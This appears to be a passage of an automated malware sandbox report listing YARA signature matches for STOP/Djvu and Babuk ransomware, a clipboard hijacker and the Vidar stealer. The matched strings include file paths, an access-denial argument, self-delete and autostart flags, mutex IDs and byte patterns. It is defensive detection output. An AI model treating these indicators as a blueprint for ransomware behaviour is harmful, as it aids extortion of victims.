00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: U59WtZz2Sg.exe PID: 5228	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: U59WtZz2Sg.exe PID: 5228	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x32421:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: U59WtZz2Sg.exe PID: 3692	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: U59WtZz2Sg.exe PID: 3692	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3d511:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x90c7f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc71fb:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: U59WtZz2Sg.exe PID: 1272	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: U59WtZz2Sg.exe PID: 1272	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x47cca:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: U59WtZz2Sg.exe PID: 3184	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: U59WtZz2Sg.exe PID: 3184	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x33631:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: U59WtZz2Sg.exe PID: 6132	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: U59WtZz2Sg.exe PID: 6132	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: U59WtZz2Sg.exe PID: 6132	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xeba15:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x1f90c3:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xb8b931:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 165 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.3.U59WtZz2Sg.exe.3060000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
5.3.U59WtZz2Sg.exe.3060000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
5.3.U59WtZz2Sg.exe.3060000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
9.0.U59WtZz2Sg.exe.400000.2.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.0.build2.exe.400000.9.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.0.U59WtZz2Sg.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
10.0.build2.exe.400000.4.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.0.U59WtZz2Sg.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
9.0.U59WtZz2Sg.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.0.build2.exe.400000.10.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.U59WtZz2Sg.exe.21e15a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
3.2.U59WtZz2Sg.exe.21e15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.U59WtZz2Sg.exe.21e15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.U59WtZz2Sg.exe.21e15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
